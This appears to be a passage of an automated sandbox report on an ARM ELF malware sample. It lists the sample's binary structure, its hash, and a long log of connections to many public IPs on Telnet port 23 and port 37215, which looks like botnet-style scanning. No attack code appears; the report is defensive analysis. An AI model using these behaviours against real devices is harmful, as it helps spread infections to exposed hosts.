                Program Header Size:32
                Number of Program Headers:3
                Section Header Offset:104736
                Section Header Size:40
                Number of Section Headers:12
                Header String Table Index:11

                Sections

                NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                NULL0x00x00x00x00x0000
                .initPROGBITS0x80940x940x100x00x6AX004
                .textPROGBITS0x80b00xb00x16fc00x00x6AX0016
                .finiPROGBITS0x1f0700x170700x100x00x6AX004
                .rodataPROGBITS0x1f0800x170800x24d40x00x2A008
                .init_arrayINIT_ARRAY0x295580x1955c0x40x00x3WA004
                .fini_arrayFINI_ARRAY0x2955c0x195600x40x00x3WA004
                .gotPROGBITS0x295640x195680x740x40x3WA004
                .dataPROGBITS0x295d80x195dc0x2d40x00x3WA004
                .bssNOBITS0x298ac0x198b00x64ac0x00x3WA004
                .ARM.attributesARM_ATTRIBUTES0x00x198b00x100x00x0001
                .shstrtabSTRTAB0x00x198c00x5d0x00x0001

                Program Segments

                TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                LOAD0x00x80000x80000x195540x195546.20690x5R E0x8000.init .text .fini .rodata
                LOAD0x195580x295580x295540x3580xe8004.31660x6RW 0x8000.init_array .fini_array .got .data .bss
                GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

                Network Behavior

                Network Port Distribution

                TCP Packets

                TimestampSource PortDest PortSource IPDest IP
                Aug 14, 2024 03:18:19.804857969 CEST372154675241.1.23.33192.168.2.13
                Aug 14, 2024 03:18:19.804955006 CEST2351546121.69.94.197192.168.2.13
                Aug 14, 2024 03:18:19.805100918 CEST4675237215192.168.2.1341.1.23.33
                Aug 14, 2024 03:18:19.805107117 CEST5154623192.168.2.13121.69.94.197
                Aug 14, 2024 03:18:19.805296898 CEST234377868.21.231.52192.168.2.13
                Aug 14, 2024 03:18:19.805346012 CEST4377823192.168.2.1368.21.231.52
                Aug 14, 2024 03:18:21.852565050 CEST3721557020197.49.50.215192.168.2.13
                Aug 14, 2024 03:18:21.852626085 CEST5702037215192.168.2.13197.49.50.215
                Aug 14, 2024 03:18:21.852688074 CEST2352944216.64.179.158192.168.2.13
                Aug 14, 2024 03:18:21.852792025 CEST5294423192.168.2.13216.64.179.158
                Aug 14, 2024 03:18:21.852844000 CEST3721537840102.134.216.116192.168.2.13
                Aug 14, 2024 03:18:21.852946997 CEST2337520151.188.66.157192.168.2.13
                Aug 14, 2024 03:18:21.852978945 CEST2358598118.193.56.101192.168.2.13
                Aug 14, 2024 03:18:21.853009939 CEST3752023192.168.2.13151.188.66.157
                Aug 14, 2024 03:18:21.853044033 CEST5859823192.168.2.13118.193.56.101
                Aug 14, 2024 03:18:21.853053093 CEST3784037215192.168.2.13102.134.216.116
                Aug 14, 2024 03:18:21.853111982 CEST2342874110.151.10.99192.168.2.13
                Aug 14, 2024 03:18:21.853161097 CEST234990623.138.37.212192.168.2.13
                Aug 14, 2024 03:18:21.853172064 CEST4287423192.168.2.13110.151.10.99
                Aug 14, 2024 03:18:21.853209972 CEST2344090105.96.32.89192.168.2.13
                Aug 14, 2024 03:18:21.853266001 CEST2358632111.118.138.64192.168.2.13
                Aug 14, 2024 03:18:21.853344917 CEST4990623192.168.2.1323.138.37.212
                Aug 14, 2024 03:18:21.853344917 CEST4409023192.168.2.13105.96.32.89
                Aug 14, 2024 03:18:21.853363037 CEST2352414176.139.185.154192.168.2.13
                Aug 14, 2024 03:18:21.853385925 CEST5863223192.168.2.13111.118.138.64
                Aug 14, 2024 03:18:21.853593111 CEST5241423192.168.2.13176.139.185.154
                Aug 14, 2024 03:18:21.853984118 CEST235065881.239.112.126192.168.2.13
                Aug 14, 2024 03:18:21.854046106 CEST5065823192.168.2.1381.239.112.126
                Aug 14, 2024 03:18:23.900877953 CEST3721544836156.75.151.117192.168.2.13
                Aug 14, 2024 03:18:23.900963068 CEST2348198202.147.31.50192.168.2.13
                Aug 14, 2024 03:18:23.901015043 CEST23602441.138.141.144192.168.2.13
                Aug 14, 2024 03:18:23.901058912 CEST4483637215192.168.2.13156.75.151.117
                Aug 14, 2024 03:18:23.901063919 CEST4819823192.168.2.13202.147.31.50
                Aug 14, 2024 03:18:23.901066065 CEST372154180841.249.111.90192.168.2.13
                Aug 14, 2024 03:18:23.901118040 CEST234424487.219.95.216192.168.2.13
                Aug 14, 2024 03:18:23.901122093 CEST6024423192.168.2.131.138.141.144
                Aug 14, 2024 03:18:23.901146889 CEST4180837215192.168.2.1341.249.111.90
                Aug 14, 2024 03:18:23.901197910 CEST4424423192.168.2.1387.219.95.216
                Aug 14, 2024 03:18:25.948841095 CEST372154527841.59.217.130192.168.2.13
                Aug 14, 2024 03:18:25.949038029 CEST4527837215192.168.2.1341.59.217.130
                Aug 14, 2024 03:18:25.949196100 CEST2340090105.75.136.131192.168.2.13
                Aug 14, 2024 03:18:25.949239969 CEST232358646154.134.56.130192.168.2.13
                Aug 14, 2024 03:18:25.949285984 CEST4009023192.168.2.13105.75.136.131
                Aug 14, 2024 03:18:25.949318886 CEST586462323192.168.2.13154.134.56.130
                Aug 14, 2024 03:18:25.951694965 CEST3721547008102.187.121.109192.168.2.13
                Aug 14, 2024 03:18:25.951747894 CEST4700837215192.168.2.13102.187.121.109
                Aug 14, 2024 03:18:25.952004910 CEST2360040193.190.66.25192.168.2.13
                Aug 14, 2024 03:18:25.952037096 CEST3721552956156.11.126.81192.168.2.13
                Aug 14, 2024 03:18:25.952054024 CEST6004023192.168.2.13193.190.66.25
                Aug 14, 2024 03:18:25.952100992 CEST5295637215192.168.2.13156.11.126.81
                Aug 14, 2024 03:18:25.952111006 CEST3721545950156.177.168.140192.168.2.13
                Aug 14, 2024 03:18:25.952167988 CEST4595037215192.168.2.13156.177.168.140
                Aug 14, 2024 03:18:27.999700069 CEST233634240.123.60.209192.168.2.13
                Aug 14, 2024 03:18:27.999768972 CEST234972265.105.26.81192.168.2.13
                Aug 14, 2024 03:18:27.999917030 CEST4972223192.168.2.1365.105.26.81
                Aug 14, 2024 03:18:28.000086069 CEST3634223192.168.2.1340.123.60.209
                Aug 14, 2024 03:18:30.044891119 CEST234345266.241.94.144192.168.2.13
                Aug 14, 2024 03:18:30.044967890 CEST372155103641.224.191.129192.168.2.13
                Aug 14, 2024 03:18:30.045176983 CEST4345223192.168.2.1366.241.94.144
                Aug 14, 2024 03:18:30.045183897 CEST5103637215192.168.2.1341.224.191.129
                Aug 14, 2024 03:18:30.045811892 CEST2333472122.151.52.158192.168.2.13
                Aug 14, 2024 03:18:30.045849085 CEST234356075.7.232.29192.168.2.13
                Aug 14, 2024 03:18:30.045953035 CEST4356023192.168.2.1375.7.232.29
                Aug 14, 2024 03:18:30.045979023 CEST3347223192.168.2.13122.151.52.158
                Aug 14, 2024 03:18:32.091500998 CEST235286490.135.40.201192.168.2.13
                Aug 14, 2024 03:18:32.091711044 CEST5286423192.168.2.1390.135.40.201
                Aug 14, 2024 03:18:32.096748114 CEST3721533128156.253.186.6192.168.2.13
                Aug 14, 2024 03:18:32.096812010 CEST3312837215192.168.2.13156.253.186.6
                Aug 14, 2024 03:18:32.096911907 CEST2334770112.88.214.72192.168.2.13
                Aug 14, 2024 03:18:32.096949100 CEST234826662.72.181.10192.168.2.13
                Aug 14, 2024 03:18:32.096968889 CEST2345810103.193.219.145192.168.2.13
                Aug 14, 2024 03:18:32.096983910 CEST2349090122.151.81.184192.168.2.13
                Aug 14, 2024 03:18:32.097019911 CEST3477023192.168.2.13112.88.214.72
                Aug 14, 2024 03:18:32.097028017 CEST4826623192.168.2.1362.72.181.10
                Aug 14, 2024 03:18:32.097109079 CEST4581023192.168.2.13103.193.219.145
                Aug 14, 2024 03:18:32.097109079 CEST4909023192.168.2.13122.151.81.184
                Aug 14, 2024 03:18:34.139462948 CEST2335130133.3.125.253192.168.2.13
                Aug 14, 2024 03:18:34.139509916 CEST2342544186.118.234.169192.168.2.13
                Aug 14, 2024 03:18:34.139522076 CEST2347312166.10.147.165192.168.2.13
                Aug 14, 2024 03:18:34.139539003 CEST2346710135.67.11.24192.168.2.13
                Aug 14, 2024 03:18:34.139560938 CEST232338504156.91.176.142192.168.2.13
                Aug 14, 2024 03:18:34.139769077 CEST4254423192.168.2.13186.118.234.169
                Aug 14, 2024 03:18:34.139779091 CEST3513023192.168.2.13133.3.125.253
                Aug 14, 2024 03:18:34.139786959 CEST4731223192.168.2.13166.10.147.165
                Aug 14, 2024 03:18:34.139823914 CEST4671023192.168.2.13135.67.11.24
                Aug 14, 2024 03:18:34.139823914 CEST385042323192.168.2.13156.91.176.142
                Aug 14, 2024 03:18:34.143662930 CEST372155672441.184.174.132192.168.2.13
                Aug 14, 2024 03:18:34.143727064 CEST5672437215192.168.2.1341.184.174.132
                Aug 14, 2024 03:18:36.189961910 CEST2337872170.255.178.244192.168.2.13
                Aug 14, 2024 03:18:36.190272093 CEST3721552428156.152.144.45192.168.2.13
                Aug 14, 2024 03:18:36.190309048 CEST2354312221.35.249.104192.168.2.13
                Aug 14, 2024 03:18:36.190376043 CEST3787223192.168.2.13170.255.178.244
                Aug 14, 2024 03:18:36.190381050 CEST5242837215192.168.2.13156.152.144.45
                Aug 14, 2024 03:18:36.190509081 CEST5431223192.168.2.13221.35.249.104
                Aug 14, 2024 03:18:38.236918926 CEST234986066.30.41.27192.168.2.13
                Aug 14, 2024 03:18:38.237121105 CEST234496073.162.244.200192.168.2.13
                Aug 14, 2024 03:18:38.237174034 CEST4986023192.168.2.1366.30.41.27
                Aug 14, 2024 03:18:38.237246037 CEST4496023192.168.2.1373.162.244.200
                Aug 14, 2024 03:18:40.284425974 CEST2336848164.178.237.236192.168.2.13
                Aug 14, 2024 03:18:40.284521103 CEST2338090106.87.100.40192.168.2.13
                Aug 14, 2024 03:18:40.284629107 CEST234995880.76.196.80192.168.2.13
                Aug 14, 2024 03:18:40.284674883 CEST3684823192.168.2.13164.178.237.236
                Aug 14, 2024 03:18:40.284683943 CEST3809023192.168.2.13106.87.100.40
                Aug 14, 2024 03:18:40.284692049 CEST4995823192.168.2.1380.76.196.80
                Aug 14, 2024 03:18:40.284723043 CEST234301279.186.204.198192.168.2.13
                Aug 14, 2024 03:18:40.284792900 CEST2337324181.108.39.1192.168.2.13
                Aug 14, 2024 03:18:40.284941912 CEST4301223192.168.2.1379.186.204.198
                Aug 14, 2024 03:18:40.284977913 CEST3732423192.168.2.13181.108.39.1
                Aug 14, 2024 03:18:40.292953968 CEST235227497.92.92.239192.168.2.13
                Aug 14, 2024 03:18:40.292999983 CEST2340388194.35.191.127192.168.2.13
                Aug 14, 2024 03:18:40.293028116 CEST5227423192.168.2.1397.92.92.239
                Aug 14, 2024 03:18:40.293046951 CEST235317441.124.232.32192.168.2.13
                Aug 14, 2024 03:18:40.293111086 CEST4038823192.168.2.13194.35.191.127
                Aug 14, 2024 03:18:40.293111086 CEST5317423192.168.2.1341.124.232.32
                Aug 14, 2024 03:18:42.332715988 CEST235722279.51.4.187192.168.2.13
                Aug 14, 2024 03:18:42.333118916 CEST5722223192.168.2.1379.51.4.187
                Aug 14, 2024 03:18:42.336159945 CEST3721547230102.53.205.96192.168.2.13
                Aug 14, 2024 03:18:42.336230993 CEST3721558606197.70.188.36192.168.2.13
                Aug 14, 2024 03:18:42.336307049 CEST5860637215192.168.2.13197.70.188.36
                Aug 14, 2024 03:18:42.336424112 CEST4723037215192.168.2.13102.53.205.96
                Aug 14, 2024 03:18:44.380603075 CEST233646420.96.255.164192.168.2.13
                Aug 14, 2024 03:18:44.380686045 CEST3646423192.168.2.1320.96.255.164
                Aug 14, 2024 03:18:44.380721092 CEST2344326206.151.17.212192.168.2.13
                Aug 14, 2024 03:18:44.380914927 CEST4432623192.168.2.13206.151.17.212
                Aug 14, 2024 03:18:44.381402969 CEST233900099.255.61.162192.168.2.13
                Aug 14, 2024 03:18:44.381463051 CEST233850635.162.0.35192.168.2.13
                Aug 14, 2024 03:18:44.381467104 CEST3900023192.168.2.1399.255.61.162
                Aug 14, 2024 03:18:44.381498098 CEST235718478.204.8.123192.168.2.13
                Aug 14, 2024 03:18:44.381520033 CEST3850623192.168.2.1335.162.0.35
                Aug 14, 2024 03:18:44.381551027 CEST5718423192.168.2.1378.204.8.123
                Aug 14, 2024 03:18:44.381740093 CEST2338474217.219.129.205192.168.2.13
                Aug 14, 2024 03:18:44.381805897 CEST3847423192.168.2.13217.219.129.205
                Aug 14, 2024 03:18:44.381829977 CEST234678868.178.148.181192.168.2.13
                Aug 14, 2024 03:18:44.381890059 CEST4678823192.168.2.1368.178.148.181
                Aug 14, 2024 03:18:44.381932020 CEST2358620177.199.116.28192.168.2.13
                Aug 14, 2024 03:18:44.382107973 CEST5862023192.168.2.13177.199.116.28
                Aug 14, 2024 03:18:46.428457022 CEST234849661.75.224.202192.168.2.13
                Aug 14, 2024 03:18:46.428518057 CEST2340766138.2.189.16192.168.2.13
                Aug 14, 2024 03:18:46.428575039 CEST232337122130.10.112.131192.168.2.13
                Aug 14, 2024 03:18:46.428639889 CEST232357374183.230.169.148192.168.2.13
                Aug 14, 2024 03:18:46.428704977 CEST371222323192.168.2.13130.10.112.131
                Aug 14, 2024 03:18:46.428730011 CEST4849623192.168.2.1361.75.224.202
                Aug 14, 2024 03:18:46.428730965 CEST4076623192.168.2.13138.2.189.16
                Aug 14, 2024 03:18:46.428756952 CEST573742323192.168.2.13183.230.169.148
                Aug 14, 2024 03:18:46.428819895 CEST3721537356156.201.63.19192.168.2.13
                Aug 14, 2024 03:18:46.428900003 CEST3735637215192.168.2.13156.201.63.19
                Aug 14, 2024 03:18:46.431792021 CEST2338746122.228.112.179192.168.2.13
                Aug 14, 2024 03:18:46.431854010 CEST3874623192.168.2.13122.228.112.179
                Aug 14, 2024 03:18:46.432002068 CEST235023875.172.245.230192.168.2.13
                Aug 14, 2024 03:18:46.432094097 CEST5023823192.168.2.1375.172.245.230
                Aug 14, 2024 03:18:48.476159096 CEST2342996179.5.146.47192.168.2.13
                Aug 14, 2024 03:18:48.476206064 CEST2349580132.46.12.43192.168.2.13
                Aug 14, 2024 03:18:48.476259947 CEST2350578189.146.43.33192.168.2.13
                Aug 14, 2024 03:18:48.476458073 CEST4299623192.168.2.13179.5.146.47
                Aug 14, 2024 03:18:48.476458073 CEST4958023192.168.2.13132.46.12.43
                Aug 14, 2024 03:18:48.476464987 CEST5057823192.168.2.13189.146.43.33
                Aug 14, 2024 03:18:48.479546070 CEST235925254.254.169.28192.168.2.13
                Aug 14, 2024 03:18:48.479581118 CEST2342138106.61.114.91192.168.2.13
                Aug 14, 2024 03:18:48.479640961 CEST4213823192.168.2.13106.61.114.91
                Aug 14, 2024 03:18:48.479649067 CEST235904038.31.12.59192.168.2.13
                Aug 14, 2024 03:18:48.479674101 CEST5925223192.168.2.1354.254.169.28
                Aug 14, 2024 03:18:48.479697943 CEST5904023192.168.2.1338.31.12.59
                Aug 14, 2024 03:18:50.528665066 CEST234147627.55.180.178192.168.2.13
                Aug 14, 2024 03:18:50.529129982 CEST234746269.201.61.0192.168.2.13
                Aug 14, 2024 03:18:50.529171944 CEST4147623192.168.2.1327.55.180.178
                Aug 14, 2024 03:18:50.529226065 CEST4746223192.168.2.1369.201.61.0
                Aug 14, 2024 03:18:50.529447079 CEST2345070112.255.126.189192.168.2.13
                Aug 14, 2024 03:18:50.529572964 CEST4507023192.168.2.13112.255.126.189
                Aug 14, 2024 03:18:52.618892908 CEST2358502197.1.172.116192.168.2.13
                Aug 14, 2024 03:18:52.619478941 CEST233805489.227.105.120192.168.2.13
                Aug 14, 2024 03:18:52.619637012 CEST5850223192.168.2.13197.1.172.116
                Aug 14, 2024 03:18:52.619672060 CEST2349928203.75.207.166192.168.2.13
                Aug 14, 2024 03:18:52.619693995 CEST2336650128.222.189.130192.168.2.13
                Aug 14, 2024 03:18:52.619700909 CEST3805423192.168.2.1389.227.105.120
                Aug 14, 2024 03:18:52.619853020 CEST4992823192.168.2.13203.75.207.166
                Aug 14, 2024 03:18:52.619853973 CEST3665023192.168.2.13128.222.189.130
                Aug 14, 2024 03:18:54.620568991 CEST234575645.75.216.100192.168.2.13
                Aug 14, 2024 03:18:54.621037006 CEST4575623192.168.2.1345.75.216.100
                Aug 14, 2024 03:18:56.667915106 CEST235461454.133.78.197192.168.2.13
                Aug 14, 2024 03:18:56.667959929 CEST2358540133.73.176.36192.168.2.13
                Aug 14, 2024 03:18:56.668265104 CEST5461423192.168.2.1354.133.78.197
                Aug 14, 2024 03:18:56.668265104 CEST5854023192.168.2.13133.73.176.36
                Aug 14, 2024 03:18:56.671988010 CEST234992223.214.5.110192.168.2.13
                Aug 14, 2024 03:18:56.672221899 CEST4992223192.168.2.1323.214.5.110
                Aug 14, 2024 03:18:58.716557026 CEST3721533826197.68.180.70192.168.2.13
                Aug 14, 2024 03:18:58.716608047 CEST3721535752102.71.185.164192.168.2.13
                Aug 14, 2024 03:18:58.716944933 CEST3575237215192.168.2.13102.71.185.164
                Aug 14, 2024 03:18:58.717048883 CEST3382637215192.168.2.13197.68.180.70
                Aug 14, 2024 03:19:00.763444901 CEST234296886.91.177.61192.168.2.13
                Aug 14, 2024 03:19:00.763499975 CEST23233850660.109.245.52192.168.2.13
                Aug 14, 2024 03:19:00.763648987 CEST4296823192.168.2.1386.91.177.61
                Aug 14, 2024 03:19:00.763653040 CEST385062323192.168.2.1360.109.245.52
                Aug 14, 2024 03:19:08.959589958 CEST3721553874197.102.58.17192.168.2.13
                Aug 14, 2024 03:19:08.959990978 CEST5387437215192.168.2.13197.102.58.17
                Aug 14, 2024 03:19:08.960232973 CEST3721533478197.33.2.140192.168.2.13
                Aug 14, 2024 03:19:08.960314035 CEST3347837215192.168.2.13197.33.2.140

                UDP Packets

                TimestampSource PortDest PortSource IPDest IP
                Aug 14, 2024 03:18:21.276474953 CEST4584353192.168.2.138.8.8.8
                Aug 14, 2024 03:18:21.276474953 CEST3276953192.168.2.138.8.8.8
                Aug 14, 2024 03:18:21.288911104 CEST53458438.8.8.8192.168.2.13
                Aug 14, 2024 03:18:21.288937092 CEST53327698.8.8.8192.168.2.13

                DNS Queries

                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                Aug 14, 2024 03:18:21.276474953 CEST192.168.2.138.8.8.80xa206Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                Aug 14, 2024 03:18:21.276474953 CEST192.168.2.138.8.8.80x8d45Standard query (0)daisy.ubuntu.com28IN (0x0001)false

                DNS Answers

                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                Aug 14, 2024 03:18:21.288911104 CEST8.8.8.8192.168.2.130xa206No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
                Aug 14, 2024 03:18:21.288911104 CEST8.8.8.8192.168.2.130xa206No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

                System Behavior

                General

                Start time (UTC):01:18:18
                Start date (UTC):14/08/2024
                Path:/tmp/arm6-20240814-0111.elf
                Arguments:/tmp/arm6-20240814-0111.elf
                File size:4956856 bytes
                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                Chronological Activities